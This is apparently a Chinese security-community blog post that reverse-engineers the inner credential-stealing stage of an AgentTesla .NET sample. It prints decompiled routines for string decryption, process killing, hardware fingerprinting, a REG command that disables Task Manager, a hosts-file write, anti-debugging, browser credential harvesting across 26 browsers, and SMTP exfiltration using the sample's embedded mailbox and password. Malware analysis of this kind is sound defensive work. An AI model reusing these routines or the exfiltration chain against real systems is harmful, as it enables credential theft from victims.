此次分析的是 .NET APT 样本,用于学习和积累 .net 程序的分析方法,希望能给后面的人更多的经验分享。
0x00 前言
前面我们分析了样本的外层行为,参看奇安信攻防社区-.NET 逆向——AgentTesla样本分析(上) (butian.net)。这里把内层行为也梳理了出来。内层窃密文件窃取了主流的浏览器、FTP、Email 等数据和账密,以及系统的各种信息和凭证,在分析的过程中也对 AgentTesla 家族手法特征能有个大致的了解。
0x01 IOC
HASH | 值 |
---|---|
SHA256 | cc15dd0d04dfcb36288b53ddb6d438f751dc605bfd9c4e4170c93de56e449a10 |
SHA1 | 9badc97167d7b412d1d78d515b4abc76c7661039 |
MD5 | fa548af33ac073be63464186b33198aa |
SHA512 | 1b94d25cebd5dd7fbe32ce0269739e73efe370d85a15e7cef94dcdd4478dd80e354ca016963490420ba14969397be9fde967df5819e888579b2edc196c886b07 |
0x02 关键手法预览:(贯穿始终)
字符串解密手法:(基本所有需要用的字符串都以解密进行)
#### **@decrypt_the_string\u200F、 .@encrypt_string_place\u206A)**
object[] u206A = .\u206A; //\u206A 前面存的都是密文和 IV,key 密钥的 uint[] 数组
if (Assembly.GetExecutingAssembly() == Assembly.GetCallingAssembly()) //在当前进程的话是必进条件
array = (uint[])u206A[num3];//这是从 object[] u206A = .\u206A 处获取 0x173 的一个15个值得new uint[] 数组。
array2 = new byte[array.Length * 4]; //开辟了四倍空间,因为array是unit[]数组,array2是byte数组,就是拆分出来。
Buffer.BlockCopy(array, 0, array2, 0, array.Length * 4);//开始复制,把获取到的Uint类型转换成byte类型并赋值给array2数组,所以长度上扩大4倍。
Buffer.BlockCopy(array5, 0, array4, 0, num7); //把array2的前0x20个复制到array4
Buffer.BlockCopy(array5, num7, array3, 0, num8);//把array2的0x20处的0x10个值复制到array3处,截取了第3/4的部分。
Buffer.BlockCopy(array5, num7 + num8, array6, 0, num10); //把array2的最后0x10个赋值到array6部分
return Encoding.UTF8.GetString(.\u206B(array6, array4, array3));//解密后的值解码为UTF8编码
// Token: 0x06000003 RID: 3 RVA: 0x000176B8 File Offset: 0x000158B8
internal static byte[] \u206B(byte[] A_0, byte[] A_1, byte[] A_2)
{
Rijndael rijndael = Rijndael.Create();//创建加密对象以执行 Rijndael 算法。类 Rijndael 是算法的前 Aes 身。 应使用 Aes 算法而不是 Rijndael。这是一个对称加密算法,IV和key分别是前0x20的byte和0x30的byte。
rijndael.Key = A_1;//获取或设置对称算法的初始化向量 (IV)。
rijndael.IV = A_2;//获取或设置对称算法的密钥。
return rijndael.CreateDecryptor().TransformFinalBlock(A_0, 0, A_0.Length);//使用指定的密钥和初始化向量 (IV) 创建对称 Rijndael 解密器对象。这里先转换指定字节数组的指定区域,要解密的是最后0x10个byte
}
休眠函数,拖慢分析时间:
0x03 内层窃密程序
杀掉原来的进程:
kqb.kel()//下面是kqb.kel函数的行为
string processName = Process.GetCurrentProcess().ProcessName; //将现有资源与新Process组件相关联。并获取该进程的名称。
id = Process.GetCurrentProcess().Id; //获取关联进程的唯一标识符。
Process[] processesByName = Process.GetProcessesByName(processName);//获取在本地计算机上运行的所有同名的实例。应该有两个的因为这里是从原来程序中缕空出来的,而原来进程还在。
process = array[num3];
if (process.Id != id)//判断当前 ID,选择同名进程中的另一个。
process.Kill(); //杀掉原先进程
获取主板信息,CPU 信息,MAC 值 并进行 MD5 加密:
获取主板信息:
zsy() //下面是从该函数中提取出来的,被重命名为 @get_hardware_UUID()
object objectValue = RuntimeHelpers.GetObjectValue(Interaction.GetObject(.@decrypt_the_string\u200F(122292), null));//Interaction.GetObject(.\u200F(122292), null)的参数填充成 Interaction.GetObject(“WinMgmts”, null) 返回对 COM 组件提供的对象的引用。这里获取的是WMI对象。接着最外层是RuntimeHelpers.GetObjectValue 将值类型装箱。
string text = string.Empty;
object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, .@decrypt_the_string\u200F(121932), new object[]
{
.@decrypt_the_string\u200F(121956)
}, null, null, null));
//执行后期绑定属性获取或字段访问调用,这里在前面封装的WMI实例中调用 InstancesOf,传入参数是Win32_BaseBoard。WinMgmts.InstancesOf 获取计算机子集中 Win32_Process 的所有实例。然后在Win32_Process对象上调用 Win32 提供程序方法Win32_BaseBoard,Win32_BaseBoardWMI 类存的信息表示基板,也称为主板或系统板。
object objectValue3 = RuntimeHelpers.GetObjectValue(enumerator.Current);
text = Conversions.ToString(Operators.ConcatenateObject(text, NewLateBinding.LateGet(objectValue3, null, .@decrypt_the_string\u200F(121980), new object[0], null, null, null)));
IEnumerator enumerator = ((IEnumerable)objectValue2).GetEnumerator();
if (enumerator.MoveNext())
object objectValue3 = RuntimeHelpers.GetObjectValue(enumerator.Current);
// 枚举数位于第一个元素之前,直到第一次 MoveNext() 调用。所以MoveNext是获取第一个Win32_BaseBoard类并将其封装。
text = Conversions.ToString(Operators.ConcatenateObject(text, NewLateBinding.LateGet(objectValue3, null, .\u200F(121980), new object[0], null, null, null)));//其中 .\u200F(121980) 继续解密出 "SerialNumber",那么就是获取 Win32_BaseBoard.SerialNumber 字段信息,这是用于标识物理元素的制造商分配的编号。然后 Operators.ConcatenateObject 返回一个字符串,表示 Left 和 Right 的串联。此时 text 是空字符串,所以就是串联起来就是标识物理元素的制造商分配的编号。最后 Conversions.ToString 将对象转换为 String 值,但是返回的是 None,说明没有这个编号值。
if (enumerator.MoveNext())//这里已经没了,最后一个了,所以不会再重复获取编号了,goto IL_90就是跳转到前面获取编号的地方。
{goto IL_90;}
IEnumerator enumerator;
if (enumerator is IDisposable) //判断是不是释放非托管资源的机制?可能是故意产出异常,应该也是顺序执行的一种吧。
return result//返回Null
获取 CPU 信息:
zgw()//函数中提取出来的,被命名为 @get_cpu_information
ManagementClass managementClass = new ManagementClass(.@decrypt_the_string\u200F(122124));//其中.@decrypt_the_string\u200F(122124)解密出"win32_processor"。可以创建 ManagementClass 对象来直接访问类定义,这里使用名称作为路径创建新的 ManagementClass 对象以检索类。
//Win32_ProcessorWMI 类表示可以解释Windows操作系统上运行的计算机上的指令序列的设备。
ManagementObjectCollection instances = managementClass.GetInstances();//返回该类的所有实例的集合,这里获取的是设备的实例。
ManagementObjectCollection.ManagementObjectEnumerator enumerator = instances.GetEnumerator();//又枚举实例了。
if (!enumerator.MoveNext())
text = managementObject.Properties[.@decrypt_the_string\u200F(122148)].Value.ToString();//这里解密出processorid,ManagementBaseObject.Properties 获取描述管理对象属性的集合,这里是获取 win32_processor.processorid 描述处理器功能的处理器信息.
((IDisposable)enumerator).Dispose();
return
获取网卡 MAC 地址:
zjo() //函数中提取出来的,
ManagementClass managementClass = new ManagementClass(.@decrypt_the_string\u200F(122324)); //同样的这里解密出 "Win32_NetworkAdapterConfiguration",Win32_NetworkAdapterConfigurationWMI 类表示网络适配器的属性和行为。 此类包括支持管理独立于网络适配器的 TCP/IP 协议的额外属性和方法。
instances = managementClass.GetInstances(); //获取对象实例
ManagementObjectCollection.ManagementObjectEnumerator enumerator = instances.GetEnumerator();
if (enumerator.MoveNext())
managementObject = (ManagementObject)enumerator.Current;
if (Conversions.ToBoolean(managementObject[.@decrypt_the_string\u200F(122348)]))//解密出"IPEnabled",Win32_NetworkAdapterConfiguration.IPEnabled 如果为 TRUE,则 TCP/IP 在此网络适配器上绑定并启用。我这里第一次返回 false,第三次返回true
text = managementObject[.@decrypt_the_string\u200F(122372)].ToString();//解密出 "MacAddress" ,win32_networkadapterconfiguration.MACAddress 表示网络适配器的媒体访问控制 (MAC) 地址。所以搭配前面就是获取绑定 IP 的网卡的 MAC 地址。
text = text.Replace(":", string.Empty);//拆分MAC地址
return result;//返回中间没有 : 的MAC连起来的值
MD5 加密:
byte[] array = qtc.ComputeHash(Encoding.UTF8.GetBytes(qtv));//先把串联的UUID和MAC地址转换为utf8编码后计算指定字节数组的MD5哈希值。
StringBuilder stringBuilder = new StringBuilder();///初始化StringBuilder 类,表示可变字符字符串。
stringBuilder.Append(array[num3].ToString("x2"));//先把array[0]的0xA3转换格式成x2的小写的16进制且2位输出。然后追加到stringBuilder中,就是{a3}。
stringBuilder.Append("-");
//然后在混淆过的顺序中不断 num3++ 且stringBuilder.Append(array[num3].ToString("x2")); 搭配 stringBuilder.Append("-"); 最后得到字符串是 {a32d-5a5f-f248-60ac-fd2e-0006-0374-032a}
return stringBuilder.ToString().ToUpper();//最后变成大写输出
获取系统用户名,计算机名,本地路径信息:
kqb.zcg = SystemInformation.UserName + "/" + SystemInformation.ComputerName; //获取与当前线程相关联的用户名。获取本地计算机的 NetBIOS 计算机名称。这里获取到"xxx/DESKTOP-DL5BA6A"
kqb.zmy = Environment.GetEnvironmentVariable(.@decrypt_the_string\u200F(113836)) + .@decrypt_the_string\u200F(113860);//第一个解密出"%startupfolder%"(好像是开机启动项),从当前进程检索环境变量的值,这里检索 Startup 文件夹的完整路径,但是并没有该文件夹,第二个解密出 "\%insfolder%\%insname%"
kqb.@get_current_path = Assembly.GetExecutingAssembly().Location;
以线程模式运行禁用注册表的函数:
kqb.@confuse_sleep(25, 20);//时间混淆,拖慢分析进度。
thread = new Thread(new ThreadStart(kqb.koy)); //初始化 Thread 类的新实例,创建执行静态方法kqb.@registry_operation的线程。
thread.IsBackground = true; //以后台模式创建kqb.koy方法的线程
thread.Start(); //开启该线程
@registry_operation 函数
Interaction.Shell(.@decrypt_the_string\u200F(118100), AppWinStyle.NormalFocus, false, -1);//运行一个可执行程序,并且如果该程序仍在运行则返回一个包含该程序的进程 ID 的整数。窗口具有正常焦点,不设置超时。
//"REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
//禁用注册表,命令参考:https://jingyan.baidu.com/article/363872ec349b212f4aa16f20.html
试图操作 HOST 文件:
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System);//获取指定系统特殊文件夹的路径,这里指定system目录路径的枚举常数。值为@"C:\Windows\system32"
string path = folderPath + .@decrypt_the_string\u200F(113500); //拼接上解密的为@"C:\Windows\system32\drivers\etc\hosts"
streamWriter = new StreamWriter(path, true);
//实现一个 TextWriter,使其以一种特定的编码向流中写入字符。用默认编码和缓冲区大小,为指定的文件初始化 StreamWriter 类的一个新实例。 如果该文件存在,则可以将其覆盖或向其追加。 如果该文件不存在,此构造函数将创建一个新文件。
//这里就是创建了一个文件夹,这是想追加数据到我的域名解析文件啊。但是被拒绝了且抛出异常
//然后我设立权限看看它写入了啥东西
streamWriter.Write(.@decrypt_the_string\u200F(113524) + array[num6]);//将数据写入流,这里写入的竟然是 /r/n127.0.0.1
streamWriter.Dispose();// 释放由 TextWriter 对象使用的所有资源。
检测时间间隔来反调试:
System.Timers.Timer timer = new System.Timers.Timer(); //初始化 Timer 类的新实例,并将所有属性设置为初始值。
timer.Elapsed += kqb.kdv; //达到间隔时发生的一个处理程序,这是一个函数。这个是反调试的检测时间函数。
timer.Enabled = true; //默认重复触发事件
timer.Interval = 30000.0; //设置30秒重复一次
timer.Start(); //开始引发 Elapsed 事件。
kdv(object kdn, ElapsedEventArgs kdp)//函数重命名为@time_debug
kqb.zfs.cbSize = Marshal.SizeOf(kqb.zfs);
kqb.zfs.dwTime = 0;
kqb.kqd(ref kqb.zfs);//空函数类public static extern bool kqd(ref kqb.dp kqf);没有实体
if (checked((int)Math.Round((double)(Environment.TickCount - kqb.zfs.dwTime) / 1000.0)) > 600)//Math.Round 将值舍入到最接近的整数或指定的小数位数。Environment.TickCount 获取系统启动后经过的毫秒数。好家伙,这里检测时间,进去之后搭配外层的30秒执行一次,出不去了。
{
num = (num2 * 2981239591U ^ 3031382484U);
continue;
}
想获取前面解密的 \%insfolder%\%insname% 文件信息:(猜测是某个软件的安装路径吧)
kqb.kao(kqb.@environment_variable);//之前获取的字段值为@"\%insfolder%\%insname%",这应该是某个软件的路径吧。
if (File.Exists(kay))//判断环境变量文件是否存在,可惜不存在,然后就退出了
批量浏览器操作:(这里的批量操作应该是解密手法一样,因为后面有大量单独的程序窃密操作)
获取公共储存库的 LOCAL 目录并拼接要检索的浏览器路径
批量生成要检测的浏览器及其默认路径存入列表中,然后打乱顺序:
第一个:"Opera Browser"
@"C:\Users\xxx\AppData\Roaming\Opera Software\Opera Stable"
true
第二个"Yandex Browser"
@"C:\Users\xxx\AppData\Local\Yandex\YandexBrowser\User Data"
true
第三个:"360 Browser"
@"C:\Users\xxx\AppData\Local\360Chrome\Chrome\User Data"
true
第四个:"Iridium Browser"
@"C:\Users\xxx\AppData\Local\Iridium\User Data"
true
第五个:"Comodo Dragon"
@"C:\Users\xxx\AppData\Local\Comodo\Dragon\User Data"
true
第六个:"Cool Novo"
@"C:\Users\xxx\AppData\Local\MapleStudio\ChromePlus\User Data"
true
第七个:"Chromium"
@"C:\Users\xxx\AppData\Local\Chromium\User Data"
true
第八个:"Torch Browser"
@"C:\Users\xxx\AppData\Local\Torch\User Data"
true
第九个:"7Star"
@"C:\Users\xxx\AppData\Local\7Star\7Star\User Data"
true
第十个:"Amigo"
@"C:\Users\xxx\AppData\Local\Amigo\User Data"
true
第十一个:"Brave"
@"C:\Users\xxx\AppData\Local\BraveSoftware\Brave-Browser\User Data"
true
第十二个:"CentBrowser"
@"C:\Users\xxx\AppData\Local\CentBrowser\User Data"
true
第十三个:"Chedot"
@"C:\Users\xxx\AppData\Local\Chedot\User Data"
true
第十四个:"Coccoc"
@"C:\Users\xxx\AppData\Local\CocCoc\Browser\User Data"
true
第十五个:"Elements Browser"
@"C:\Users\xxx\AppData\Local\Elements Browser\User Data"
true
第十六个:"Epic Privacy"
@"C:\Users\xxx\AppData\Local\Epic Privacy Browser\User Data"
true
第十七个:"Kometa"
@"C:\Users\xxx\AppData\Local\Kometa\User Data"
true
第十八个:"Orbitum"
@"C:\Users\xxx\AppData\Local\Orbitum\User Data"
true
第十九个:"Sputnik"
@"C:\Users\xxx\AppData\Local\Sputnik\Sputnik\User Data"
true
第二十个:"Uran"
@"C:\Users\xxx\AppData\Local\uCozMedia\Uran\User Data"
true
第二十一个:"Vivaldi"
@"C:\Users\xxx\AppData\Local\Vivaldi\User Data"
true
第二十二个:"Citrio"
@"C:\Users\xxx\AppData\Local\CatalinaGroup\Citrio\User Data"
true
第二十三个:"Liebao Browser"
@"C:\Users\xxx\AppData\Local\liebao\User Data"
true
第二十四个:"Sleipnir 6"
@"C:\Users\xxx\AppData\Local\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer"
true
第二十五个:"QIP Surf"
@"C:\Users\xxx\AppData\Local\QIP Surf\User Data"
true
第二十六个:"Coowon"
@"C:\Users\xxx\AppData\Local\Coowon\Coowon\User Data"
true
开始遍历路径:
检测并获取 Login Data 默认存储位置:
读取 Lgin Data 文件内容,预览信息,Logins 表字段:
定位 Local State 文件,获取 Local Data 数据的加密密钥:
从前面获取到的预览信息中提取特定字段值并尝试解密:(可能因为版本没对上,所以解密失败了)
单独开启 edge 浏览器的数据窃密:
查看 wifi 配置:(可惜虚拟机没网卡)
单独程序的窃密:(只跟了两个程序看操作,其它实在跟不了了~-~)
操作 pocomail 程序:(专门下载了该程序为例子查看其操作)
操作 IncrediMail 程序:(也专门下载了该程序为例子查看其操作)
其它单独的程序:
遍历窃取到的信息:
填充整合数据,准备邮箱传输:
第一个:拼接“PW"标识和用户名与计算机名:
第二个:获取时间、CPU、内存、系统全名等信息
第三个:拼接前面的窃密信息:
最后邮箱操作,并把前面的信息作为参数传入
最后一步,循环运行线程:
0x04 手法总结
程序全部字符串基本都由解密而来,中间时不时使用休眠函数拖慢分析进程,甚至还开了一个时间反调试线程,但是很容易就绕过了,没有检查虚拟机进程这些手法。
系统相关敏感信息中有使用系统属性直接获取,也有大量调用 WMI 来获取。前面使用相同解密手法窃密一批浏览器的数据,后面使用不同的手法解密单独的其它程序,那应该是后面的程序加密手法不一样了。
从操作的程序可以看到涉及大量浏览器、FTP、Email、SSH 等通信工具,在截图中我也一一重名名了,由此可见 Agent tesla不愧被称为间谍软件。中间还有一些获取各种 windows 系统凭证的操作,只不过当时不知道,现在也截不了图了(懒得调了)。
接着再收集一波系统配置之后把前面能成功窃取到的信息按 html 格式整理好,打好标签,填充预定义的账号密码发送出去。最后就在后台循环运行程序了,由此程序手法分析得差不多了。
没分析到的手法有如何通过 local data 的 SQLite 文件定位并获取到数据块,程序是通过结构字段来定位的,类似于 PE 结构,可惜我对 SQLite 文件结构不熟悉,只能放在以后研究了。还有就是其它单独程序的窃密手法,实在太多了,没法一个个跟进分析了。。。
0x05 函数链划分:(一些数据混杂的和解密账密的没划分出来)
判断条件:
Assembly.GetExecutingAssembly() ---->Assembly.GetCallingAssembly()
字符串解密:
uint数组---->new byte()---->Buffer.BlockCopy---->Rijndael.Create()---->rijndael.Key = A_1---->rijndael.IV = A_2---->rijndael.CreateDecryptor().TransformFinalBlock(A_0, 0, A_0.Length)
休眠函数:
if(kqc < kqv)---->threed.sleep
杀掉同名缕空的原进程:
Process.GetCurrentProcess().ProcessName---->Process.GetCurrentProcess().Id---->Process.GetProcessesByName(processName)---->if (process.Id != id)---->process.Kill()
获取主板信息:
RuntimeHelpers.GetObjectValue(Interaction.GetObject(“WinMgmts”, null))---->RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, InstancesOf, new object[]{Win32_BaseBoard}, null, null, null))---->((IEnumerable)objectValue2).GetEnumerator()---->enumerator.MoveNext()---->RuntimeHelpers.GetObjectValue(enumerator.Current)---->Conversions.ToString(Operators.ConcatenateObject(text, NewLateBinding.LateGet(objectValue3, null, "SerialNumber", new object[0], null, null, null)))---->if (enumerator is IDisposable)
获取 CPU 信息:
new ManagementClass("win32_processor")---->managementClass.GetInstances()---->instances.GetEnumerator()---->enumerator.MoveNext()---->managementObject.Properties[processorid].Value.ToString()---->((IDisposable)enumerator).Dispose()
获取网卡 MAC 地址:
new ManagementClass(“Win32_NetworkAdapterConfiguration”)---->managementClass.GetInstances()---->instances.GetEnumerator()---->enumerator.MoveNext()---->managementObject = (ManagementObject)enumerator.Current---->Conversions.ToBoolean(managementObject["IPEnabled"])---->managementObject["MacAddress"].ToString()---->text.Replace(":", string.Empty)
MD5 加密:
qtc.ComputeHash(Encoding.UTF8.GetBytes(qtv))---->new StringBuilder()---->stringBuilder.Append(array[num3].ToString("x2"))---->stringBuilder.Append("-")---->stringBuilder.ToString().ToUpper()
获取系统用户名,计算机名,本地路径信息:
SystemInformation.UserName + "/" + SystemInformation.ComputerName---->Environment.GetEnvironmentVariable("%startupfolder%") + "\%insfolder%\%insname%"---->Assembly.GetExecutingAssembly().Location
以线程模式运行禁用注册表的函数:
new Thread(new ThreadStart(kqb.koy))---->thread.IsBackground = true---->thread.Start()---->Interaction.Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", AppWinStyle.NormalFocus, false, -1)
操作 HOST 文件:
Environment.GetFolderPath(Environment.SpecialFolder.System)---->folderPath + @"C:\Windows\system32\drivers\etc\hosts"---->streamWriter.Write("/r/n127.0.0.1" + array[num6])---->streamWriter.Dispose()
检测时间间隔来反调试:
new System.Timers.Timer()---->timer.Elapsed += kqb.kdv("这是一个函数",if (checked((int)Math.Round((double)(Environment.TickCount - kqb.zfs.dwTime) / 1000.0)) > 600))---->timer.Enabled = true---->timer.Interval = 30000.0---->timer.Start()
批量浏览器操作:
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)---->list2.Add(new qeb(“浏览器名”, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "浏览器默认路径,相对的"), true))
生成随值外加一些运算打乱浏览器数组顺序:
new RNGCryptoServiceProvider()---->NewLateBinding.LateCall(instance2, type, "GetBytes" , arguments, argumentNames, typeArguments, array2, true)---->Operators.ModObject(NewLateBinding.LateIndexGet(instance, array, null), obj2)---->Operators.SubtractObject(obj2, 1)
开启线程,查看 wifi 配置文件:
new Process()---->ProcessWindowStyle.Hidden---->process.StartInfo.FileName=netsh---->process.StartInfo.Arguments="wlan show profile"
使用 WMI 获取 CPU 信息:
new ManagementObjectSearcher("SELECT * FROM Win32_Processor")---->managementObjectSearcher.Get().GetEnumerator()---->(ManagementObject)enumerator.Current---->managementObject.GetPropertyValue("Name").ToString()
发送邮件:
new SmtpClient()---->new NetworkCredential("dir.fb@tolipgoldenplaza.com", "Golden@#$2019")---->new MailAddress("dir.fb@tolipgoldenplaza.com")---->new MailAddress("dir.fb@tolipgoldenplaza.com")---->new MailMessage(from, to)---->smtpClient.Send(mailMessage)---->mailMessage.Attachments.Dispose()
0x06 参考链接:
Agent Tesla样本分析_Y0ng.的博客-CSDN博客
Agent Tesla商业木马来袭,印度地区首当其冲 - 知乎 (zhihu.com)
揭秘Agent Tesla间谍木马攻击活动 - FreeBuf网络安全行业门户
AgentTesla变种分析_Iam0x17的博客-CSDN博客
技术讨论 | Windows 10进程镂空技术(木马免杀) - FreeBuf网络安全行业门户
Windows计划任务的进阶 | AnonySec'Blog (payloads.cn)
[原创]样本分析记录(二)(特斯拉样本(关于C#如何调试dll又从dll中释放exe的))-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com
- 本文作者: 沐一·林
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1850
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!